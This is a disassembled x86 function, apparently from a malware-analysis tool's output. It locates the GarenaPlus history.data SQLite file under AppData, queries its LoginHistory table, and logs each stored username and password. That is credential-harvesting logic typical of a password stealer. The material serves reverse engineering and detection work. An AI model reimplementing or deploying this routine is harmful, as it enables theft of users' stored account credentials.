Function at 0x42ca55
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x13c0
call fcn.005fec20
mov eax, dword [0x708c34]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
xor eax, eax
push esi
push edi
mov esi, 0x3e7
mov dword [ebp - 0x13c0], eax
push esi
push eax
mov byte [ebp - 0x418], al
lea eax, [ebp - 0x417]
push eax
call fcn.00626f50
push esi
lea eax, [ebp - 0x7ff]
mov byte [ebp - 0x800], 0
push 0
push eax
call fcn.00626f50
mov esi, str.history.data
lea edi, [ebp - 0x14]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov esi, str.RecoverGarenaPasswords
push esi
push str._s_entered
call fcn.00449974
push ebx
call fcn.00631510
add esp, 0x24
cmp eax, 1
jae 0x42cb12
lea eax, [ebp - 0x800]
push eax
xor eax, eax
push eax
push eax
push 0x1a
push eax
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
jns 0x42cb05
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push esi
push str._s_Failed_to_find_appdata_folder__Error0x_.8x
call fcn.00449974
add esp, 0xc
jmp 0x42cd21
mov eax, str._sGarenaPlus_s
lea ebx, [ebp - 0x800]
jmp 0x42cb17
mov eax, 0x66c218
lea ecx, [ebp - 0x14]
push ecx
push ebx
push eax
lea eax, [ebp - 0x418]
push 0x3e8
push eax
call fcn.00445d6d
lea eax, [ebp - 0x418]
mov ebx, str.RecoverGarenaPasswords
push eax
push ebx
push str._s_Final_setting_file__s
call fcn.00449974
push 0
push 1
lea eax, [ebp - 0x13c0]
push eax
lea eax, [ebp - 0x418]
push eax
call fcn.0045c0d6
add esp, 0x30
test eax, eax
je 0x42cb7b
push eax
lea eax, [ebp - 0x418]
push eax
push ebx
push str._s_:_Failed_to_open_the_database_file__s__Error___d
call fcn.00449974
jmp 0x42cd1e
lea eax, [ebp - 0x418]
push eax
push ebx
push str._s_successfully_opened_history_file__s
call fcn.00449974
and dword [ebp - 0x13bc], 0
lea edi, [ebp - 0x30]
push 7
pop ecx
mov esi, str.select__from_LoginHistory_
push ebx
rep movsd dword es:[edi], dword [esi]
push str._s_:__Listing_the_username_password_from_sqlite_db_file
call fcn.00449974
add esp, 0x14
lea eax, [ebp - 0x13bc]
push 0
push eax
lea eax, [ebp - 0x30]
push eax
call fcn.00631510
pop ecx
push eax
lea eax, [ebp - 0x30]
push eax
push dword [ebp - 0x13c0]
call fcn.0045c551
add esp, 0x14
test eax, eax
jne 0x42cd07
cmp dword [ebp - 0x13bc], eax
je 0x42cd07
push dword [ebp - 0x13bc]
call fcn.0045ccca
pop ecx
cmp eax, 0x65
je 0x42cccc
mov esi, 0x66ae5d
mov edi, 0x3e8
cmp eax, 0x64
jne 0x42ccf6
push 1
push dword [ebp - 0x13bc]
call fcn.0045ce99
push eax
lea eax, [ebp - 0xfd0]
push edi
push eax
call fcn.006311ec
lea eax, [ebp - 0xfd0]
push eax
push ebx
push str._s_:__username:__s
call fcn.00449974
push 4
push dword [ebp - 0x13bc]
call fcn.0045ce99
push eax
lea eax, [ebp - 0xbe8]
push edi
push eax
call fcn.006311ec
lea eax, [ebp - 0xbe8]
push eax
push ebx
push str._s_:__Password:__s
call fcn.00449974
add esp, 0x40
lea eax, [ebp - 0xbe8]
push eax
call fcn.00631510
pop ecx
test eax, eax
je 0x42ccb7
lea eax, [ebp - 0xbe8]
push eax
push str._SHA256_Hash___s
lea eax, [ebp - 0x13b8]
push edi
push eax
call fcn.00445d6d
push 0xffffffffffffffff
push esi
lea eax, [ebp - 0x13b8]
push eax
lea eax, [ebp - 0xfd0]
push eax
push esi
push esi
push 0x78
push 3
call fcn.00412c85
add esp, 0x30
push dword [ebp - 0x13bc]
call fcn.0045ccca
pop ecx
cmp eax, 0x65
jne 0x42cc08
push ebx
push str._s_:_Finished_processing_the_login_list
call fcn.00449974
pop ecx
pop ecx
push dword [ebp - 0x13bc]
call fcn.0045cfda
push dword [ebp - 0x13c0]
call fcn.0045b0c9
pop ecx
xor eax, eax
pop ecx
inc eax
jmp 0x42cd23
push eax
push ebx
push str._s_:_Error_has_occured_during_processing_login_list__Error_d
call fcn.00449974
add esp, 0xc
jmp 0x42ccd9
push eax
push ebx
push str._s_:_Failed_to_query_the_logins_table_for_signon_list__Error___d
call fcn.00449974
push dword [ebp - 0x13c0]
call fcn.0045b0c9
add esp, 0x10
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.005fe955
leave
ret